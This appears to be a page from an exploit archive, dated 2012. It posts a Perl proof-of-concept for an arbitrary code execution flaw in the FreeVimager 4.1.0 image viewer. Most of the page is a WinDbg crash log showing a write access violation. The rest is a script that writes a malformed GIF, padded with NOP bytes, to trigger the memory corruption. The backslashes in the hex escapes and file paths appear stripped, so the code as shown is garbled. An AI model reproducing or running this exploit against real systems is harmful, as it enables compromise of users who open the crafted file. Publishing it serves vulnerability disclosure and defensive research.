Home / exploits FreeVimager 4.1.0 WriteAV Arbitrary Code Execution
Posted on 10 December 2012
#!/usr/bin/perl # FreeVimager 4.1.0 <= WriteAV Arbitrary Code Execution # Author: Jean Pascal Pereira <pereira@secbiz.de> # Vendor URI: http://www.contaware.com # Vendor Decription: # This is a Free & Fast Image Viewer and Editor for Windows. It can as well play avi video files, # ordinary audio files and audio CDs. There are many tools around doing that, but the aim of this # Freeware is to be a small and handy tool doing what it says and running also as a standalone # exe file (installer not necessary). # Debug info: # Microsoft (R) Windows Debugger Version 6.11.0001.404 X86 # Copyright (c) Microsoft Corporation. All rights reserved. # # CommandLine: "C:Program FilesFreeVimagerFreeVimager.exe" C: esearchFreeVimagercrafted.gif # Symbol search path is: *** Invalid *** # **************************************************************************** # * Symbol loading may be unreliable without a symbol search path. * # * Use .symfix to have the debugger choose a symbol path. * # * After setting your symbol path, use .reload to refresh symbol locations. * # **************************************************************************** # Executable search path is: # ModLoad: 00400000 00c9a000 image00400000 # ModLoad: 7c900000 7c9b2000 ntdll.dll # ModLoad: 7c800000 7c8f6000 C:WINDOWSsystem32kernel32.dll # ModLoad: 7e410000 7e4a1000 C:WINDOWSsystem32USER32.dll # ModLoad: 77f10000 77f59000 C:WINDOWSsystem32GDI32.dll # ModLoad: 763b0000 763f9000 C:WINDOWSsystem32COMDLG32.dll # ModLoad: 77dd0000 77e6b000 C:WINDOWSsystem32ADVAPI32.dll # ModLoad: 77e70000 77f03000 C:WINDOWSsystem32RPCRT4.dll # ModLoad: 77fe0000 77ff1000 C:WINDOWSsystem32Secur32.dll # ModLoad: 773d0000 774d3000 C:WINDOWSWinSxSx86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202COMCTL32.dll # ModLoad: 77c10000 77c68000 C:WINDOWSsystem32msvcrt.dll # ModLoad: 77f60000 77fd6000 C:WINDOWSsystem32SHLWAPI.dll # ModLoad: 7c9c0000 7d1d7000 C:WINDOWSsystem32SHELL32.dll # ModLoad: 73000000 73026000 C:WINDOWSsystem32WINSPOOL.DRV # ModLoad: 7df70000 7df92000 C:WINDOWSsystem32oledlg.dll # ModLoad: 774e0000 7761e000 C:WINDOWSsystem32ole32.dll # ModLoad: 77120000 771ab000 C:WINDOWSsystem32OLEAUT32.dll # ModLoad: 75a70000 75a91000 C:WINDOWSsystem32MSVFW32.dll # ModLoad: 76b40000 76b6d000 C:WINDOWSsystem32WINMM.dll # ModLoad: 77be0000 77bf5000 C:WINDOWSsystem32MSACM32.dll # ModLoad: 77c00000 77c08000 C:WINDOWSsystem32VERSION.dll # ModLoad: 3d930000 3da16000 C:WINDOWSsystem32WININET.dll # ModLoad: 00340000 00349000 C:WINDOWSsystem32Normaliz.dll # ModLoad: 78130000 78263000 C:WINDOWSsystem32urlmon.dll # ModLoad: 3dfd0000 3e1bb000 C:WINDOWSsystem32iertutil.dll # (e48.568): Break instruction exception - code 80000003 (first chance) # ModLoad: 76390000 763ad000 C:WINDOWSsystem32IMM32.DLL # ModLoad: 5ad70000 5ada8000 C:WINDOWSsystem32uxtheme.dll # ModLoad: 74720000 7476c000 C:WINDOWSsystem32MSCTF.dll # ModLoad: 755c0000 755ee000 C:WINDOWSsystem32msctfime.ime # ModLoad: 76f50000 76f58000 C:WINDOWSsystem32Wtsapi32.dll # ModLoad: 76360000 76370000 C:WINDOWSsystem32WINSTA.dll # ModLoad: 5b860000 5b8b5000 C:WINDOWSsystem32NETAPI32.dll # ModLoad: 73bc0000 73bc6000 C:WINDOWSsystem32DCIMAN32.DLL # ModLoad: 76380000 76385000 C:WINDOWSsystem32msimg32.dll # (e48.568): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # eax=00008080 ebx=00000000 ecx=0151c14c edx=08000004 esi=00000002 edi=00008080 # eip=005c02c3 esp=0012ea58 ebp=0151a008 iopl=0 nv up ei pl nz ac pe nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210216 # *** WARNING: Unable to verify checksum for image00400000 # *** ERROR: Module load completed but symbols could not be loaded for image00400000 # image00400000+0x1c02c3: # 005c02c3 897c91f8 mov dword ptr [ecx+edx*4-8],edi ds:0023:2151c154=???????? # 0:000> r;!exploitable -v;q # eax=00008080 ebx=00000000 ecx=0151c14c edx=08000004 esi=00000002 edi=00008080 # eip=005c02c3 esp=0012ea58 ebp=0151a008 iopl=0 nv up ei pl nz ac pe nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210216 # image00400000+0x1c02c3: # 005c02c3 897c91f8 mov dword ptr [ecx+edx*4-8],edi ds:0023:2151c154=???????? # HostMachineHostUser # Executing Processor Architecture is x86 # Debuggee is in User Mode # Debuggee is a live user mode debugging session on the local machine # Event Type: Exception # *** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll - # *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:WINDOWSsystem32kernel32.dll - # Exception Faulting Address: 0x2151c154 # First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005) # Exception Sub-Type: Write Access Violation # # Exception Hash (Major/Minor): 0x50747228.0x58333273 # # Stack Trace: # image00400000+0x1c02c3 # image00400000+0x1bfd07 # image00400000+0x18abb4 # kernel32!VirtualAllocEx+0x47 # kernel32!VirtualAlloc+0x18 # image00400000+0x18a0ef # image00400000+0x18a121 # image00400000+0x24fb01 # image00400000+0x24fc4e # image00400000+0x23be55 # image00400000+0x95a48 # image00400000+0x4fd8 # image00400000+0xf054e # image00400000+0xea85e # ntdll!RtlFreeHeap+0x130 # ntdll!RtlFreeHeap+0x130 # kernel32!CreateActCtxW+0xb6c # kernel32!CreateActCtxW+0xcbf # Instruction Address: 0x00000000005c02c3 # Proof of Concept: my $crafted = "x47x49x46x38x39x61x18x00x18x00xC4x00x00xA2xC5". "xE1xEBxF3xF9x8CxB8xDAx49x8ExC3x95xBDxDCxFExFE". "xFFx75xAAxD3x38x84xBExD5xE5xF1x5Dx9AxCAx26x78". "xB8x22x76xB7xC4xDAxECxDDxEAxF4x55x96xC8xF4xF8". "xFCx89xB5xD8xF1xF6xFAx28x79xB8x87xB5xD8x31x7F". "xBCx23x77xB8x9ExC3xE0x9ExC3xDFx68xA1xCExE6xF0". "xF7xFAxFCxFDx1Fx74xB6x8ExB9xDAxFFxFFxFFx1Ex73". "xB5x1Ex74xB6x21xF9x04x00x00x00x00x00x2Cx00x00". "x00x00x18x00x18x00x00xFBx05x60"; my $junk = "x90" x 163; open(C, ">:raw", "crafted.gif"); print C $crafted.$junk; close(C); # http://0xffe4.org
